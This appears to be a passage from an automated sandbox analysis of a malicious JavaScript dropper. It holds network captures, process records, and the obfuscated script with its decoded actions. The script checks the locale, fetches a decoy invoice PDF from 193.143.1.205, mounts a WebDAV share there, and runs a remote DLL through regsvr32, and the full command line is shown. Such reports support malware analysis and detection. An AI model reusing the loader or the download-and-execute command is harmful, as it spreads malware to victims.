Jan 10, 2025 19:05:00.887680054 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887691975 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887701988 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.887729883 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.887835979 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887847900 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887861967 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887872934 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887883902 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.887883902 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887897015 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887908936 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887919903 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887923002 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.887932062 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887943983 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.887964010 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.888163090 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.888175011 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.888185978 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.888196945 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.888197899 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.888210058 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.888221979 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.888226032 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.888233900 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.888247967 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.888252974 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.888261080 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.888269901 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.888272047 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.888283968 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.888294935 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.888297081 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.888305902 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.888319016 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.888324976 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.888333082 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.888340950 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.888377905 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:01.175606966 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:01.331373930 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:01.842742920 CET	49770	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:01.847836971 CET	8888	49770	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:01.847958088 CET	49770	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:01.848253965 CET	49770	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:01.853099108 CET	8888	49770	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:02.637693882 CET	8888	49770	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:02.693491936 CET	49770	8888	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:02.831748962 CET	49770	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:05:10.636724949 CET	56303	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:05:10.636724949 CET	192.168.2.9	1.1.1.1	0x3852	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:04:50.592628956 CET	1.1.1.1	192.168.2.9	0xc958	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:04:50.592628956 CET	1.1.1.1	192.168.2.9	0xc958	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:10.643877983 CET	1.1.1.1	192.168.2.9	0x3852	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:05:11.352418900 CET	1.1.1.1	192.168.2.9	0x550f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:05:11.352418900 CET	1.1.1.1	192.168.2.9	0x550f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49754	193.143.1.205	80	7576	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:04:59.280091047 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:05:00.052086115 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:04:59 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 19:05:00.052119017 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:05:00.052133083 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 19:05:00.052208900 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 19:05:00.052222013 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 19:05:00.052232981 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 19:05:00.052247047 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 19:05:00.052314997 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 19:05:00.052328110 CET	1224	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 19:05:00.092855930 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs
Jan 10, 2025 19:05:00.092881918 CET	1236	IN	Data Raw: 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a 2b a1 e5 18 Data Ascii: czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27pht

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49770	193.143.1.205	8888	7808	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:05:01.848253965 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:05:02.637693882 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:05:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:04:55
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293816234142143228.js"
Imagebase:	0x7ff73df80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:04:55
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Imagebase:	0x7ff762f80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:04:55
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:04:55
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:05:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:05:00
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff762f80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:05:00
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7053e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:05:01
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:05:01
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:05:01
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1648,i,3214176902867615900,6819842971302672721,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function mjtso() {	mjtso() ➔ undefined
1	gfrdji = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var luole = this[xzusgs + qosgr + nmhpgqna + qvbzyxyw + muctzf + jzenmjufg + fizseyg + wonyqmsx] ( this[vnjhhcxmc + yxzswh + bljjmzyu + nmhpgqna + wcbald + xzusgs + wonyqmsx][uuoars + nmhpgqna + muctzf + qosgr + wonyqmsx + muctzf + zxwusbwlb + lbaspsrsk + gxiqk + muctzf + bljjmzyu + wonyqmsx] ( vnjhhcxmc + yxzswh + bljjmzyu + nmhpgqna + wcbald + xzusgs + wonyqmsx + kvkhg + yxzswh + fzkehsjse + muctzf + huxeebvz + huxeebvz ) [yrnbccb + muctzf + xabflzyh + yrnbccb + muctzf + qosgr + gxddatazi] ( wttqiko + tcogyuj + zynjfcpa + ozsjuhckj + gqkgcd + uuoars + fkxps + yrnbccb + yrnbccb + zynjfcpa + ihholqk + vmsghzl + gqkgcd + fkxps + yxzswh + zynjfcpa + yrnbccb + ayftozkq + uuoars + ctdmkicx + fizseyg + wonyqmsx + nmhpgqna + ctdmkicx + huxeebvz + yatsybql + uxgvvsxmt + qosgr + fizseyg + muctzf + huxeebvz + ayftozkq + jzenmjufg + fizseyg + wonyqmsx + muctzf + nmhpgqna + fizseyg + qosgr + wonyqmsx + wcbald + ctdmkicx + fizseyg + qosgr + huxeebvz + ayftozkq + ahievfcpk + ctdmkicx + bljjmzyu + qosgr + huxeebvz + muctzf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( lpuqno = 0 ; lpuqno < gfrdji[huxeebvz + muctzf + fizseyg + xabflzyh + wonyqmsx + fzkehsjse] ; ++ lpuqno )
4	{
5	if ( luole == gfrdji[lpuqno] )
6	{
7	luole = true;
8	break ;
9	}
10	}
11	if ( luole !== true )
12	this[vnjhhcxmc + yxzswh + bljjmzyu + nmhpgqna + wcbald + xzusgs + wonyqmsx][wdulcql + wysmohmv + wcbald + wonyqmsx] ( );
13	this[vnjhhcxmc + yxzswh + bljjmzyu + nmhpgqna + wcbald + xzusgs + wonyqmsx][uuoars + nmhpgqna + muctzf + qosgr + wonyqmsx + muctzf + zxwusbwlb + lbaspsrsk + gxiqk + muctzf + bljjmzyu + wonyqmsx] ( vnjhhcxmc + yxzswh + bljjmzyu + nmhpgqna + wcbald + xzusgs + wonyqmsx + kvkhg + yxzswh + fzkehsjse + muctzf + huxeebvz + huxeebvz ) [nmhpgqna + wysmohmv + fizseyg] ( bljjmzyu + hckvgk + gxddatazi + yatsybql + xyaqf + bljjmzyu + yatsybql + xzusgs + ctdmkicx + lxfuxbf + muctzf + nmhpgqna + qvbzyxyw + fzkehsjse + muctzf + huxeebvz + huxeebvz + kvkhg + muctzf + hcjvgolr + muctzf + yatsybql + zfbgb + uuoars + ctdmkicx + hckvgk + hckvgk + qosgr + fizseyg + gxddatazi + yatsybql + twgorckg + jzenmjufg + fizseyg + duakt + ctdmkicx + slzkstom + muctzf + zfbgb + vnjhhcxmc + muctzf + lbaspsrsk + yrnbccb + muctzf + elvshmm + wysmohmv + muctzf + qvbzyxyw + wonyqmsx + yatsybql + zfbgb + zxwusbwlb + wysmohmv + wonyqmsx + zihqm + wcbald + huxeebvz + muctzf + yatsybql + jfyqtlqh + wonyqmsx + muctzf + hckvgk + xzusgs + jfyqtlqh + ayftozkq + wcbald + fizseyg + duakt + ctdmkicx + wcbald + bljjmzyu + muctzf + kvkhg + xzusgs + gxddatazi + knmpim + yatsybql + fzkehsjse + wonyqmsx + wonyqmsx + xzusgs + vberuryu + xyaqf + xyaqf + rnqtvih + vnbhkecm + kpielexmd + kvkhg + rnqtvih + kspphhen + kpielexmd + kvkhg + rnqtvih + kvkhg + mqqhtkjk + savybwh + dhrdjydwk + xyaqf + wcbald + fizseyg + duakt + ctdmkicx + wcbald + bljjmzyu + muctzf + kvkhg + xzusgs + fzkehsjse + xzusgs + twgorckg + oqqwgs + oqqwgs + qvbzyxyw + wonyqmsx + qosgr + nmhpgqna + wonyqmsx + yatsybql + jfyqtlqh + wonyqmsx + muctzf + hckvgk + xzusgs + jfyqtlqh + ayftozkq + wcbald + fizseyg + duakt + ctdmkicx + wcbald + bljjmzyu + muctzf + kvkhg + xzusgs + gxddatazi + knmpim + oqqwgs + oqqwgs + bljjmzyu + hckvgk + gxddatazi + yatsybql + xyaqf + bljjmzyu + yatsybql + fizseyg + muctzf + wonyqmsx + yatsybql + wysmohmv + qvbzyxyw + muctzf + yatsybql + ayftozkq + ayftozkq + rnqtvih + vnbhkecm + kpielexmd + kvkhg + rnqtvih + kspphhen + kpielexmd + kvkhg + rnqtvih + kvkhg + mqqhtkjk + savybwh + dhrdjydwk + lctnnbtlk + dplszp + dplszp + dplszp + dplszp + ayftozkq + gxddatazi + qosgr + duakt + lxfuxbf + lxfuxbf + lxfuxbf + nmhpgqna + ctdmkicx + ctdmkicx + wonyqmsx + ayftozkq + oqqwgs + oqqwgs + bljjmzyu + hckvgk + gxddatazi + yatsybql + xyaqf + bljjmzyu + yatsybql + nmhpgqna + muctzf + xabflzyh + qvbzyxyw + duakt + nmhpgqna + kpielexmd + mqqhtkjk + yatsybql + xyaqf + qvbzyxyw + yatsybql + ayftozkq + ayftozkq + rnqtvih + vnbhkecm + kpielexmd + kvkhg + rnqtvih + kspphhen + kpielexmd + kvkhg + rnqtvih + kvkhg + mqqhtkjk + savybwh + dhrdjydwk + lctnnbtlk + dplszp + dplszp + dplszp + dplszp + ayftozkq + gxddatazi + qosgr + duakt + lxfuxbf + lxfuxbf + lxfuxbf + nmhpgqna + ctdmkicx + ctdmkicx + wonyqmsx + ayftozkq + mqqhtkjk + dhrdjydwk + savybwh + bmlrnl + savybwh + mqqhtkjk + kpielexmd + kpielexmd + dplszp + bmlrnl + vnbhkecm + mqqhtkjk + kspphhen + rnqtvih + kvkhg + gxddatazi + huxeebvz + huxeebvz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll",0,false) ➔ 0
14	}
15	knmpim = "z";
16	knmpim = "i";
17	knmpim = "F";
18	knmpim = "Z";
19	knmpim = "D";
20	knmpim = "f";
21	knmpim = "f";
22	knmpim = "y";
23	knmpim = "m";
24	knmpim = "J";
25	knmpim = "n";
26	knmpim = "d";
27	knmpim = "I";
28	knmpim = "l";
29	knmpim = "m";
30	knmpim = "Z";
31	knmpim = "b";
32	knmpim = "E";
33	knmpim = "C";
34	knmpim = "t";
35	knmpim = "f";
36	twgorckg = "g";
37	twgorckg = "v";
38	twgorckg = "A";
39	twgorckg = "V";
40	twgorckg = "p";
41	twgorckg = "w";
42	twgorckg = "L";
43	twgorckg = "t";
44	twgorckg = "q";
45	twgorckg = "x";
46	twgorckg = "e";
47	twgorckg = "e";
48	twgorckg = "Y";
